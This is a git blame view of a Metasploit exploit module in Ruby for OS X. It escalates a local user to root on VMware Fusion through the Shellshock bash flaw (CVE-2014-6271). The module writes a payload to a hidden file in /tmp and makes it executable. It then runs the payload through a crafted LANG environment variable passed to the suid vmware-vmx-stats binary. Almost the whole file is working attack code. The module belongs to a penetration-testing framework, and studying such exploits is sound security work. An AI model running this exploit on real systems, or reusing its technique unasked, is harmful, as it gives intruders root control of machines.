Files
metasploit-gs/modules/exploits/osx/local/vmware_bash_function_root.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

109 lines
3.2 KiB
Ruby
Raw Normal View History

2014-09-24 17:44:14 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-09-24 17:44:14 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
2014-09-24 17:44:14 -05:00
Rank = NormalRanking
include Msf::Post::File
2018-05-31 12:26:33 +00:00
include Msf::Post::OSX::Priv
2014-09-24 17:44:14 -05:00
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
2018-05-31 12:26:33 +00:00
def initialize(info = {})
2014-09-24 17:44:14 -05:00
super(update_info(info,
'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)',
2014-09-24 17:44:14 -05:00
'Description' => %q{
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
handles external environment variables. This module targets the VMWare Fusion
application, allowing an unprivileged local user to get root access.
2014-09-24 17:44:14 -05:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stephane Chazelas', # discovered the bash bug
'juken', # discovered the VMWare priv esc
2014-09-25 01:55:04 -04:00
'joev', # msf module
'mubix' # vmware-vmx-stats
2014-09-24 17:44:14 -05:00
],
'References' =>
[
[ 'CVE', '2014-6271' ],
[ 'CWE', '94' ],
[ 'OSVDB', '112004' ],
[ 'EDB', '34765' ]
2014-09-24 17:44:14 -05:00
],
'Platform' => 'osx',
'Arch' => [ ARCH_X64 ],
2014-09-24 17:44:14 -05:00
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X 10.9 Mavericks x64 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X64
2014-09-24 17:44:14 -05:00
}
]
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2014-09-24',
2018-08-27 13:11:22 -05:00
'Notes' =>
{
'AKA' => ['Shellshock']
}
2014-09-24 17:44:14 -05:00
))
2018-05-31 12:26:33 +00:00
register_options [
2014-09-24 17:44:14 -05:00
OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']),
2018-05-31 12:26:33 +00:00
]
2018-11-04 05:28:32 +00:00
register_advanced_options [
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
]
2018-05-31 12:26:33 +00:00
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
register_file_for_cleanup path
2014-09-24 17:44:14 -05:00
end
def check
check_str = Rex::Text.rand_text_alphanumeric(5)
# ensure they are vulnerable to bash env variable bug
if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/
2018-05-31 12:26:33 +00:00
CheckCode::Vulnerable
2014-09-24 17:44:14 -05:00
else
2018-05-31 12:26:33 +00:00
CheckCode::Safe
2014-09-24 17:44:14 -05:00
end
end
def exploit
2018-05-31 12:26:33 +00:00
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
2014-09-24 17:44:14 -05:00
2018-05-31 12:26:33 +00:00
if check != CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
2018-11-04 05:28:32 +00:00
unless writable? base_dir
2018-05-31 12:26:33 +00:00
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
payload_file = "#{base_dir}/.#{Rex::Text::rand_text_alpha_lower(8..12)}"
2014-09-24 17:44:14 -05:00
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
2018-05-31 12:26:33 +00:00
upload payload_file, exe
cmd_exec "chmod +x #{payload_file}"
2014-09-24 17:44:14 -05:00
2018-05-31 12:26:33 +00:00
print_status 'Running VMWare services...'
path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary
2014-09-25 02:09:12 -04:00
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
2014-09-24 17:44:14 -05:00
end
end